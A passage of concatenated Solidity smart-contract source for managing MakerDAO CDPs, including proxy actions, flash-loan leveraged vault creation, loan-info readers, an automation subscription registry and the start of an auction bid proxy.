_closeData.cdpId); logger.Log(address(this), msg.sender, "MCDClose", abi.encode(_closeData.cdpId, _closeData.collAmount, _closeData.daiAmount, _closeData.toDai)); } /// @notice Gets the maximum amount of debt available to generate /// @param _managerAddr Address of the CDP Manager /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getMaxDebt(address _managerAddr, uint256 _cdpId, bytes32 _ilk) public view returns (uint256) { uint256 price = getPrice(_ilk); (, uint256 mat) = spotter.ilks(_ilk); (uint256 collateral, uint256 debt) = getCdpInfo(Manager(_managerAddr), _cdpId, _ilk); return sub(wdiv(wmul(collateral, price), mat), debt); } /// @notice Gets a price of the asset /// @param _ilk Ilk of the CDP function getPrice(bytes32 _ilk) public view returns (uint256) { (, uint256 mat) = spotter.ilks(_ilk); (, , uint256 spot, , ) = vat.ilks(_ilk); return rmul(rmul(spot, spotter.par()), mat); } function unsubscribe(address _subContract, uint _cdpId) internal { (, bool isSubscribed) = IMCDSubscriptions(_subContract).subscribersPos(_cdpId); if (isSubscribed) { IMCDSubscriptions(_subContract).unsubscribe(_cdpId); } } function _packData( CloseData memory _closeData, DFSExchangeData.ExchangeData memory _exchangeData ) internal pure returns (bytes memory) { return abi.encode(_closeData, _exchangeData); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../interfaces/ILoanShifter.sol"; import "../../mcd/saver/MCDSaverProxy.sol"; import "../../mcd/create/MCDCreateProxyActions.sol"; contract McdShifter is MCDSaverProxy { using SafeERC20 for ERC20; Manager manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); address public constant OPEN_PROXY_ACTIONS = 0x6d0984E80a86f26c0dd564ca0CF74a8E9Da03305; function getLoanAmount(uint _cdpId, address _joinAddr) public view virtual returns(uint loanAmount) { bytes32 ilk = manager.ilks(_cdpId); (, uint rate,,,) = vat.ilks(ilk); (, uint art) = vat.urns(ilk, manager.urns(_cdpId)); uint dai = vat.dai(manager.urns(_cdpId)); uint rad = sub(mul(art, rate), dai); loanAmount = rad / RAY; loanAmount = mul(loanAmount, RAY) < rad ? loanAmount + 1 : loanAmount; } function close( uint _cdpId, address _joinAddr, uint _loanAmount, uint _collateral ) public { address owner = getOwner(manager, _cdpId); bytes32 ilk = manager.ilks(_cdpId); (uint maxColl, ) = getCdpInfo(manager, _cdpId, ilk); // repay dai debt cdp paybackDebt(address(manager), _cdpId, ilk, _loanAmount, owner); maxColl = _collateral > maxColl ? maxColl : _collateral; // withdraw collateral from cdp drawCollateral(address(manager), _cdpId, _joinAddr, maxColl); // send back to msg.sender if (isEthJoinAddr(_joinAddr)) { msg.sender.transfer(address(this).balance); } else { ERC20 collToken = ERC20(getCollateralAddr(_joinAddr)); collToken.safeTransfer(msg.sender, collToken.balanceOf(address(this))); } } function open( uint _cdpId, address _joinAddr, uint _debtAmount ) public { uint collAmount = 0; if (isEthJoinAddr(_joinAddr)) { collAmount = address(this).balance; } else { collAmount = ERC20(address(Join(_joinAddr).gem())).balanceOf(address(this)); } if (_cdpId == 0) { openAndWithdraw(collAmount, _debtAmount, address(this), _joinAddr); } else { // add collateral addCollateral(address(manager), _cdpId, _joinAddr, collAmount); // draw debt drawDai(address(manager), _cdpId, manager.ilks(_cdpId), _debtAmount); } // transfer to repay FL ERC20(DAI_ADDRESS).transfer(msg.sender, ERC20(DAI_ADDRESS).balanceOf(address(this))); if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } function openAndWithdraw(uint _collAmount, uint _debtAmount, address _proxy, address _joinAddrTo) internal { bytes32 ilk = Join(_joinAddrTo).ilk(); if (isEthJoinAddr(_joinAddrTo)) { MCDCreateProxyActions(OPEN_PROXY_ACTIONS).openLockETHAndDraw{value: address(this).balance}( address(manager), JUG_ADDRESS, _joinAddrTo, DAI_JOIN_ADDRESS, ilk, _debtAmount, _proxy ); } else { ERC20(getCollateralAddr(_joinAddrTo)).approve(OPEN_PROXY_ACTIONS, uint256(-1)); MCDCreateProxyActions(OPEN_PROXY_ACTIONS).openLockGemAndDraw( address(manager), JUG_ADDRESS, _joinAddrTo, DAI_JOIN_ADDRESS, ilk, _collAmount, _debtAmount, true, _proxy ); } } } pragma solidity ^0.6.0; abstract contract GemLike { function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual; function transferFrom(address, address, uint256) public virtual; function deposit() public virtual payable; function withdraw(uint256) public virtual; } abstract contract ManagerLike { function cdpCan(address, uint256, address) public virtual view returns (uint256); function ilks(uint256) public virtual view returns (bytes32); function owns(uint256) public virtual view returns (address); function urns(uint256) public virtual view returns (address); function vat() public virtual view returns (address); function open(bytes32, address) public virtual returns (uint256); function give(uint256, address) public virtual; function cdpAllow(uint256, address, uint256) public virtual; function urnAllow(address, uint256) public virtual; function frob(uint256, int256, int256) public virtual; function flux(uint256, address, uint256) public virtual; function move(uint256, address, uint256) public virtual; function exit(address, uint256, address, uint256) public virtual; function quit(uint256, address) public virtual; function enter(address, uint256) public virtual; function shift(uint256, uint256) public virtual; } abstract contract VatLike { function can(address, address) public virtual view returns (uint256); function ilks(bytes32) public virtual view returns (uint256, uint256, uint256, uint256, uint256); function dai(address) public virtual view returns (uint256); function urns(bytes32, address) public virtual view returns (uint256, uint256); function frob(bytes32, address, address, address, int256, int256) public virtual; function hope(address) public virtual; function move(address, address, uint256) public virtual; } abstract contract GemJoinLike { function dec() public virtual returns (uint256); function gem() public virtual returns (GemLike); function join(address, uint256) public virtual payable; function exit(address, uint256) public virtual; } abstract contract GNTJoinLike { function bags(address) public virtual view returns (address); function make(address) public virtual returns (address); } abstract contract DaiJoinLike { function vat() public virtual returns (VatLike); function dai() public virtual returns (GemLike); function join(address, uint256) public virtual payable; function exit(address, uint256) public virtual; } abstract contract HopeLike { function hope(address) public virtual; function nope(address) public virtual; } abstract contract ProxyRegistryInterface { function build(address) public virtual returns (address); } abstract contract EndLike { function fix(bytes32) public virtual view returns (uint256); function cash(bytes32, uint256) public virtual; function free(bytes32) public virtual; function pack(uint256) public virtual; function skim(bytes32, address) public virtual; } abstract contract JugLike { function drip(bytes32) public virtual returns (uint256); } abstract contract PotLike { function pie(address) public virtual view returns (uint256); function drip() public virtual returns (uint256); function join(uint256) public virtual; function exit(uint256) public virtual; } abstract contract ProxyRegistryLike { function proxies(address) public virtual view returns (address); function build(address) public virtual returns (address); } abstract contract ProxyLike { function owner() public virtual view returns (address); } // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! // WARNING: These functions meant to be used as a a library for a DSProxy. Some are unsafe if you call them directly. // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! contract Common { uint256 constant RAY = 10**27; // Internal functions function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, "mul-overflow"); } // Public functions // solhint-disable-next-line func-name-mixedcase function daiJoin_join(address apt, address urn, uint256 wad) public { // Gets DAI from the user's wallet DaiJoinLike(apt).dai().transferFrom(msg.sender, address(this), wad); // Approves adapter to take the DAI amount DaiJoinLike(apt).dai().approve(apt, wad); // Joins DAI into the vat DaiJoinLike(apt).join(urn, wad); } } contract MCDCreateProxyActions is Common { // Internal functions function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "sub-overflow"); } function toInt(uint256 x) internal pure returns (int256 y) { y = int256(x); require(y >= 0, "int-overflow"); } function toRad(uint256 wad) internal pure returns (uint256 rad) { rad = mul(wad, 10**27); } function convertTo18(address gemJoin, uint256 amt) internal returns (uint256 wad) { // For those collaterals that have less than 18 decimals precision we need to do the conversion before passing to frob function // Adapters will automatically handle the difference of precision wad = mul(amt, 10**(18 - GemJoinLike(gemJoin).dec())); } function _getDrawDart(address vat, address jug, address urn, bytes32 ilk, uint256 wad) internal returns (int256 dart) { // Updates stability fee rate uint256 rate = JugLike(jug).drip(ilk); // Gets DAI balance of the urn in the vat uint256 dai = VatLike(vat).dai(urn); // If there was already enough DAI in the vat balance, just exits it without adding more debt if (dai < mul(wad, RAY)) { // Calculates the needed dart so together with the existing dai in the vat is enough to exit wad amount of DAI tokens dart = toInt(sub(mul(wad, RAY), dai) / rate); // This is neeeded due lack of precision. It might need to sum an extra dart wei (for the given DAI wad amount) dart = mul(uint256(dart), rate) < mul(wad, RAY) ? dart + 1 : dart; } } function _getWipeDart(address vat, uint256 dai, address urn, bytes32 ilk) internal view returns (int256 dart) { // Gets actual rate from the vat (, uint256 rate, , , ) = VatLike(vat).ilks(ilk); // Gets actual art value of the urn (, uint256 art) = VatLike(vat).urns(ilk, urn); // Uses the whole dai balance in the vat to reduce the debt dart = toInt(dai / rate); // Checks the calculated dart is not higher than urn.art (total debt), otherwise uses its value dart = uint256(dart) <= art ? -dart : -toInt(art); } function _getWipeAllWad(address vat, address usr, address urn, bytes32 ilk) internal view returns (uint256 wad) { // Gets actual rate from the vat (, uint256 rate, , , ) = VatLike(vat).ilks(ilk); // Gets actual art value of the urn (, uint256 art) = VatLike(vat).urns(ilk, urn); // Gets actual dai amount in the urn uint256 dai = VatLike(vat).dai(usr); uint256 rad = sub(mul(art, rate), dai); wad = rad / RAY; // If the rad precision has some dust, it will need to request for 1 extra wad wei wad = mul(wad, RAY) < rad ? wad + 1 : wad; } // Public functions function transfer(address gem, address dst, uint256 wad) public { GemLike(gem).transfer(dst, wad); } // solhint-disable-next-line func-name-mixedcase function ethJoin_join(address apt, address urn) public payable { // Wraps ETH in WETH GemJoinLike(apt).gem().deposit{value: msg.value}(); // Approves adapter to take the WETH amount GemJoinLike(apt).gem().approve(address(apt), msg.value); // Joins WETH collateral into the vat GemJoinLike(apt).join(urn, msg.value); } // solhint-disable-next-line func-name-mixedcase function gemJoin_join(address apt, address urn, uint256 wad, bool transferFrom) public { // Only executes for tokens that have approval/transferFrom implementation if (transferFrom) { // Gets token from the user's wallet GemJoinLike(apt).gem().transferFrom(msg.sender, address(this), wad); // Approves adapter to take the token amount GemJoinLike(apt).gem().approve(apt, 0); GemJoinLike(apt).gem().approve(apt, wad); } // Joins token collateral into the vat GemJoinLike(apt).join(urn, wad); } function hope(address obj, address usr) public { HopeLike(obj).hope(usr); } function nope(address obj, address usr) public { HopeLike(obj).nope(usr); } function open(address manager, bytes32 ilk, address usr) public returns (uint256 cdp) { cdp = ManagerLike(manager).open(ilk, usr); } function give(address manager, uint256 cdp, address usr) public { ManagerLike(manager).give(cdp, usr); } function move(address manager, uint256 cdp, address dst, uint256 rad) public { ManagerLike(manager).move(cdp, dst, rad); } function frob(address manager, uint256 cdp, int256 dink, int256 dart) public { ManagerLike(manager).frob(cdp, dink, dart); } function lockETH(address manager, address ethJoin, uint256 cdp) public payable { // Receives ETH amount, converts it to WETH and joins it into the vat ethJoin_join(ethJoin, address(this)); // Locks WETH amount into the CDP VatLike(ManagerLike(manager).vat()).frob( ManagerLike(manager).ilks(cdp), ManagerLike(manager).urns(cdp), address(this), address(this), toInt(msg.value), 0 ); } function lockGem(address manager, address gemJoin, uint256 cdp, uint256 wad, bool transferFrom) public { // Takes token amount from user's wallet and joins into the vat gemJoin_join(gemJoin, address(this), wad, transferFrom); // Locks token amount into the CDP VatLike(ManagerLike(manager).vat()).frob( ManagerLike(manager).ilks(cdp), ManagerLike(manager).urns(cdp), address(this), address(this), toInt(convertTo18(gemJoin, wad)), 0 ); } function draw(address manager, address jug, address daiJoin, uint256 cdp, uint256 wad) public { address urn = ManagerLike(manager).urns(cdp); address vat = ManagerLike(manager).vat(); bytes32 ilk = ManagerLike(manager).ilks(cdp); // Generates debt in the CDP frob(manager, cdp, 0, _getDrawDart(vat, jug, urn, ilk, wad)); // Moves the DAI amount (balance in the vat in rad) to proxy's address move(manager, cdp, address(this), toRad(wad)); // Allows adapter to access to proxy's DAI balance in the vat if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wad); } function lockETHAndDraw( address manager, address jug, address ethJoin, address daiJoin, uint256 cdp, uint256 wadD ) public payable { address urn = ManagerLike(manager).urns(cdp); address vat = ManagerLike(manager).vat(); bytes32 ilk = ManagerLike(manager).ilks(cdp); // Receives ETH amount, converts it to WETH and joins it into the vat ethJoin_join(ethJoin, urn); // Locks WETH amount into the CDP and generates debt frob(manager, cdp, toInt(msg.value), _getDrawDart(vat, jug, urn, ilk, wadD)); // Moves the DAI amount (balance in the vat in rad) to proxy's address move(manager, cdp, address(this), toRad(wadD)); // Allows adapter to access to proxy's DAI balance in the vat if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wadD); } function openLockETHAndDraw( address manager, address jug, address ethJoin, address daiJoin, bytes32 ilk, uint256 wadD, address owner ) public payable returns (uint256 cdp) { cdp = open(manager, ilk, address(this)); lockETHAndDraw(manager, jug, ethJoin, daiJoin, cdp, wadD); give(manager, cdp, owner); } function lockGemAndDraw( address manager, address jug, address gemJoin, address daiJoin, uint256 cdp, uint256 wadC, uint256 wadD, bool transferFrom ) public { address urn = ManagerLike(manager).urns(cdp); address vat = ManagerLike(manager).vat(); bytes32 ilk = ManagerLike(manager).ilks(cdp); // Takes token amount from user's wallet and joins into the vat gemJoin_join(gemJoin, urn, wadC, transferFrom); // Locks token amount into the CDP and generates debt frob( manager, cdp, toInt(convertTo18(gemJoin, wadC)), _getDrawDart(vat, jug, urn, ilk, wadD) ); // Moves the DAI amount (balance in the vat in rad) to proxy's address move(manager, cdp, address(this), toRad(wadD)); // Allows adapter to access to proxy's DAI balance in the vat if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wadD); } function openLockGemAndDraw( address manager, address jug, address gemJoin, address daiJoin, bytes32 ilk, uint256 wadC, uint256 wadD, bool transferFrom, address owner ) public returns (uint256 cdp) { cdp = open(manager, ilk, address(this)); lockGemAndDraw(manager, jug, gemJoin, daiJoin, cdp, wadC, wadD, transferFrom); give(manager, cdp, owner); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../exchangeV3/DFSExchangeCore.sol"; import "./MCDCreateProxyActions.sol"; import "../../utils/FlashLoanReceiverBase.sol"; import "../../interfaces/Manager.sol"; import "../../interfaces/Join.sol"; import "../../DS/DSProxy.sol"; import "./MCDCreateTaker.sol"; contract MCDCreateFlashLoan is DFSExchangeCore, AdminAuth, FlashLoanReceiverBase { address public constant CREATE_PROXY_ACTIONS = 0x6d0984E80a86f26c0dd564ca0CF74a8E9Da03305; uint public constant SERVICE_FEE = 400; // 0.25% Fee address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; address public constant JUG_ADDRESS = 0x19c0976f590D67707E62397C87829d896Dc0f1F1; address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public {} function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { //check the contract has the specified balance require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance for the contract"); (address proxy, bytes memory packedData) = abi.decode(_params, (address,bytes)); (MCDCreateTaker.CreateData memory createData, ExchangeData memory exchangeData) = abi.decode(packedData, (MCDCreateTaker.CreateData,ExchangeData)); exchangeData.dfsFeeDivider = SERVICE_FEE; exchangeData.user = DSProxy(payable(proxy)).owner(); openAndLeverage(createData.collAmount, createData.daiAmount + _fee, createData.joinAddr, proxy, exchangeData); transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } function openAndLeverage( uint _collAmount, uint _daiAmountAndFee, address _joinAddr, address _proxy, ExchangeData memory _exchangeData ) public { (, uint256 collSwaped) = _sell(_exchangeData); bytes32 ilk = Join(_joinAddr).ilk(); if (isEthJoinAddr(_joinAddr)) { MCDCreateProxyActions(CREATE_PROXY_ACTIONS).openLockETHAndDraw{value: address(this).balance}( MANAGER_ADDRESS, JUG_ADDRESS, _joinAddr, DAI_JOIN_ADDRESS, ilk, _daiAmountAndFee, _proxy ); } else { ERC20(address(Join(_joinAddr).gem())).safeApprove(CREATE_PROXY_ACTIONS, (_collAmount + collSwaped)); MCDCreateProxyActions(CREATE_PROXY_ACTIONS).openLockGemAndDraw( MANAGER_ADDRESS, JUG_ADDRESS, _joinAddr, DAI_JOIN_ADDRESS, ilk, (_collAmount + collSwaped), _daiAmountAndFee, true, _proxy ); } } /// @notice Checks if the join address is one of the Ether coll. types /// @param _joinAddr Join address to check function isEthJoinAddr(address _joinAddr) internal view returns (bool) { // if it's dai_join_addr don't check gem() it will fail if (_joinAddr == 0x9759A6Ac90977b93B58547b4A71c78317f391A28) return false; // if coll is weth it's and eth type coll if (address(Join(_joinAddr).gem()) == 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2) { return true; } return false; } receive() external override(FlashLoanReceiverBase, DFSExchangeCore) payable {} } pragma solidity ^0.6.0; import "./SafeERC20.sol"; interface IFlashLoanReceiver { function executeOperation(address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external; } abstract contract ILendingPoolAddressesProvider { function getLendingPool() public view virtual returns (address); function setLendingPoolImpl(address _pool) public virtual; function getLendingPoolCore() public virtual view returns (address payable); function setLendingPoolCoreImpl(address _lendingPoolCore) public virtual; function getLendingPoolConfigurator() public virtual view returns (address); function setLendingPoolConfiguratorImpl(address _configurator) public virtual; function getLendingPoolDataProvider() public virtual view returns (address); function setLendingPoolDataProviderImpl(address _provider) public virtual; function getLendingPoolParametersProvider() public virtual view returns (address); function setLendingPoolParametersProviderImpl(address _parametersProvider) public virtual; function getTokenDistributor() public virtual view returns (address); function setTokenDistributor(address _tokenDistributor) public virtual; function getFeeProvider() public virtual view returns (address); function setFeeProviderImpl(address _feeProvider) public virtual; function getLendingPoolLiquidationManager() public virtual view returns (address); function setLendingPoolLiquidationManager(address _manager) public virtual; function getLendingPoolManager() public virtual view returns (address); function setLendingPoolManager(address _lendingPoolManager) public virtual; function getPriceOracle() public virtual view returns (address); function setPriceOracle(address _priceOracle) public virtual; function getLendingRateOracle() public view virtual returns (address); function setLendingRateOracle(address _lendingRateOracle) public virtual; } library EthAddressLib { function ethAddress() internal pure returns(address) { return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; } } abstract contract FlashLoanReceiverBase is IFlashLoanReceiver { using SafeERC20 for ERC20; using SafeMath for uint256; ILendingPoolAddressesProvider public addressesProvider; constructor(ILendingPoolAddressesProvider _provider) public { addressesProvider = _provider; } receive () external virtual payable {} function transferFundsBackToPoolInternal(address _reserve, uint256 _amount) internal { address payable core = addressesProvider.getLendingPoolCore(); transferInternal(core,_reserve, _amount); } function transferInternal(address payable _destination, address _reserve, uint256 _amount) internal { if(_reserve == EthAddressLib.ethAddress()) { //solium-disable-next-line _destination.call{value: _amount}(""); return; } ERC20(_reserve).safeTransfer(_destination, _amount); } function getBalanceInternal(address _target, address _reserve) internal view returns(uint256) { if(_reserve == EthAddressLib.ethAddress()) { return _target.balance; } return ERC20(_reserve).balanceOf(_target); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./saver/MCDSaverProxyHelper.sol"; import "../interfaces/Spotter.sol"; contract MCDLoanInfo is MCDSaverProxyHelper { Manager public constant manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); Vat public constant vat = Vat(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B); Spotter public constant spotter = Spotter(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3); struct VaultInfo { address owner; uint256 ratio; uint256 collateral; uint256 debt; bytes32 ilk; address urn; } /// @notice Gets a price of the asset /// @param _ilk Ilk of the CDP function getPrice(bytes32 _ilk) public view returns (uint) { (, uint mat) = spotter.ilks(_ilk); (,,uint spot,,) = vat.ilks(_ilk); return rmul(rmul(spot, spotter.par()), mat); } /// @notice Gets CDP ratio /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getRatio(uint _cdpId, bytes32 _ilk) public view returns (uint) { uint price = getPrice( _ilk); (uint collateral, uint debt) = getCdpInfo(manager, _cdpId, _ilk); if (debt == 0) return 0; return rdiv(wmul(collateral, price), debt); } /// @notice Gets CDP info (collateral, debt, price, ilk) /// @param _cdpId Id of the CDP function getVaultInfo(uint _cdpId) public view returns (VaultInfo memory vaultInfo) { address urn = manager.urns(_cdpId); bytes32 ilk = manager.ilks(_cdpId); (uint256 collateral, uint256 debt) = vat.urns(ilk, urn); (,uint rate,,,) = vat.ilks(ilk); debt = rmul(debt, rate); vaultInfo = VaultInfo({ owner: manager.owns(_cdpId), ratio: getRatio(_cdpId, ilk), collateral: collateral, debt: debt, ilk: ilk, urn: urn }); } function getVaultInfos(uint256[] memory _cdps) public view returns (VaultInfo[] memory vaultInfos) { vaultInfos = new VaultInfo[](_cdps.length); for (uint256 i = 0; i < _cdps.length; i++) { vaultInfos[i] = getVaultInfo(_cdps[i]); } } function getRatios(uint256[] memory _cdps) public view returns (uint[] memory ratios) { ratios = new uint256[](_cdps.length); for (uint256 i = 0; i<_cdps.length; i++) { bytes32 ilk = manager.ilks(_cdps[i]); ratios[i] = getRatio(_cdps[i], ilk); } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../interfaces/Manager.sol"; import "./StaticV2.sol"; import "../saver/MCDSaverProxy.sol"; import "../../interfaces/Vat.sol"; import "../../interfaces/Spotter.sol"; import "../../auth/AdminAuth.sol"; /// @title Handles subscriptions for automatic monitoring contract SubscriptionsV2 is AdminAuth, StaticV2 { bytes32 internal constant ETH_ILK = 0x4554482d41000000000000000000000000000000000000000000000000000000; bytes32 internal constant BAT_ILK = 0x4241542d41000000000000000000000000000000000000000000000000000000; address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3; CdpHolder[] public subscribers; mapping (uint => SubPosition) public subscribersPos; mapping (bytes32 => uint) public minLimits; uint public changeIndex; Manager public manager = Manager(MANAGER_ADDRESS); Vat public vat = Vat(VAT_ADDRESS); Spotter public spotter = Spotter(SPOTTER_ADDRESS); MCDSaverProxy public saverProxy; event Subscribed(address indexed owner, uint cdpId); event Unsubscribed(address indexed owner, uint cdpId); event Updated(address indexed owner, uint cdpId); event ParamUpdates(address indexed owner, uint cdpId, uint128, uint128, uint128, uint128, bool boostEnabled); /// @param _saverProxy Address of the MCDSaverProxy contract constructor(address _saverProxy) public { saverProxy = MCDSaverProxy(payable(_saverProxy)); minLimits[ETH_ILK] = 1700000000000000000; minLimits[BAT_ILK] = 1700000000000000000; } /// @dev Called by the DSProxy contract which owns the CDP /// @notice Adds the users CDP in the list of subscriptions so it can be monitored /// @param _cdpId Id of the CDP /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalBoost Ratio amount which boost should target /// @param _optimalRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled /// @param _nextPriceEnabled Boolean determing if we can use nextPrice for this cdp function subscribe(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled, bool _nextPriceEnabled) external { require(isOwner(msg.sender, _cdpId), "Must be called by Cdp owner"); // if boost is not enabled, set max ratio to max uint uint128 localMaxRatio = _boostEnabled ? _maxRatio : uint128(-1); require(checkParams(manager.ilks(_cdpId), _minRatio, localMaxRatio), "Must be correct params"); SubPosition storage subInfo = subscribersPos[_cdpId]; CdpHolder memory subscription = CdpHolder({ minRatio: _minRatio, maxRatio: localMaxRatio, optimalRatioBoost: _optimalBoost, optimalRatioRepay: _optimalRepay, owner: msg.sender, cdpId: _cdpId, boostEnabled: _boostEnabled, nextPriceEnabled: _nextPriceEnabled }); changeIndex++; if (subInfo.subscribed) { subscribers[subInfo.arrPos] = subscription; emit Updated(msg.sender, _cdpId); emit ParamUpdates(msg.sender, _cdpId, _minRatio, localMaxRatio, _optimalBoost, _optimalRepay, _boostEnabled); } else { subscribers.push(subscription); subInfo.arrPos = subscribers.length - 1; subInfo.subscribed = true; emit Subscribed(msg.sender, _cdpId); } } /// @notice Called by the users DSProxy /// @dev Owner who subscribed cancels his subscription function unsubscribe(uint _cdpId) external { require(isOwner(msg.sender, _cdpId), "Must be called by Cdp owner"); _unsubscribe(_cdpId); } /// @dev Checks if the _owner is the owner of the CDP function isOwner(address _owner, uint _cdpId) internal view returns (bool) { return getOwner(_cdpId) == _owner; } /// @dev Checks limit for minimum ratio and if minRatio is bigger than max function checkParams(bytes32 _ilk, uint128 _minRatio, uint128 _maxRatio) internal view returns (bool) { if (_minRatio < minLimits[_ilk]) { return false; } if (_minRatio > _maxRatio) { return false; } return true; } /// @dev Internal method to remove a subscriber from the list function _unsubscribe(uint _cdpId) internal { require(subscribers.length > 0, "Must have subscribers in the list"); SubPosition storage subInfo = subscribersPos[_cdpId]; require(subInfo.subscribed, "Must first be subscribed"); uint lastCdpId = subscribers[subscribers.length - 1].cdpId; SubPosition storage subInfo2 = subscribersPos[lastCdpId]; subInfo2.arrPos = subInfo.arrPos; subscribers[subInfo.arrPos] = subscribers[subscribers.length - 1]; subscribers.pop(); changeIndex++; subInfo.subscribed = false; subInfo.arrPos = 0; emit Unsubscribed(msg.sender, _cdpId); } /// @notice Returns an address that owns the CDP /// @param _cdpId Id of the CDP function getOwner(uint _cdpId) public view returns(address) { return manager.owns(_cdpId); } /// @notice Helper method for the front to get all the info about the subscribed CDP function getSubscribedInfo(uint _cdpId) public view returns(bool, uint128, uint128, uint128, uint128, address, uint coll, uint debt) { SubPosition memory subInfo = subscribersPos[_cdpId]; if (!subInfo.subscribed) return (false, 0, 0, 0, 0, address(0), 0, 0); (coll, debt) = saverProxy.getCdpInfo(manager, _cdpId, manager.ilks(_cdpId)); CdpHolder memory subscriber = subscribers[subInfo.arrPos]; return ( true, subscriber.minRatio, subscriber.maxRatio, subscriber.optimalRatioRepay, subscriber.optimalRatioBoost, subscriber.owner, coll, debt ); } function getCdpHolder(uint _cdpId) public view returns (bool subscribed, CdpHolder memory) { SubPosition memory subInfo = subscribersPos[_cdpId]; if (!subInfo.subscribed) return (false, CdpHolder(0, 0, 0, 0, address(0), 0, false, false)); CdpHolder memory subscriber = subscribers[subInfo.arrPos]; return (true, subscriber); } /// @notice Helper method for the front to get the information about the ilk of a CDP function getIlkInfo(bytes32 _ilk, uint _cdpId) public view returns(bytes32 ilk, uint art, uint rate, uint spot, uint line, uint dust, uint mat, uint par) { // send either ilk or cdpId if (_ilk == bytes32(0)) { _ilk = manager.ilks(_cdpId); } ilk = _ilk; (,mat) = spotter.ilks(_ilk); par = spotter.par(); (art, rate, spot, line, dust) = vat.ilks(_ilk); } /// @notice Helper method to return all the subscribed CDPs function getSubscribers() public view returns (CdpHolder[] memory) { return subscribers; } /// @notice Helper method to return all the subscribed CDPs function getSubscribersByPage(uint _page, uint _perPage) public view returns (CdpHolder[] memory) { CdpHolder[] memory holders = new CdpHolder[](_perPage); uint start = _page * _perPage; uint end = start + _perPage; uint count = 0; for (uint i=start; i<end; i++) { holders[count] = subscribers[i]; count++; } return holders; } ////////////// ADMIN METHODS /////////////////// /// @notice Admin function to change a min. limit for an asset function changeMinRatios(bytes32 _ilk, uint _newRatio) public onlyOwner { minLimits[_ilk] = _newRatio; } /// @notice Admin function to unsubscribe a CDP function unsubscribeByAdmin(uint _cdpId) public onlyOwner { SubPosition storage subInfo = subscribersPos[_cdpId]; if (subInfo.subscribed) { _unsubscribe(_cdpId); } } } pragma solidity ^0.6.0; /// @title Implements enum Method abstract contract StaticV2 { enum Method { Boost, Repay } struct CdpHolder { uint128 minRatio; uint128 maxRatio; uint128 optimalRatioBoost; uint128 optimalRatioRepay; address owner; uint cdpId; bool boostEnabled; bool nextPriceEnabled; } struct SubPosition { uint arrPos; bool subscribed; } } pragma solidity ^0.6.0; import "../../interfaces/Join.sol"; import "../../interfaces/ERC20.sol"; import "../../interfaces/Vat.sol"; import "../../interfaces/Flipper.sol"; import "../../interfaces/Gem.sol"; contract BidProxy { address public constant DAI_JOIN = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; function daiBid(uint _bidId, uint _amount, address _flipper) public { uint tendAmount = _amount * (10 ** 27); joinDai(_amount); (, uint lot, , , , , , ) = Flipper(_flipper).bids(_bidId); Vat(VAT_ADDRESS).hope(_flipper); Flipper(_flipper).tend(_bidId, lot, tendAmount); } function collateralBid(uint _bidId, uint _amount, address _flipper) public { (uint bid, , , , , , , ) = Flipper(_flipper).bids(_bidId); joinDai(bid / 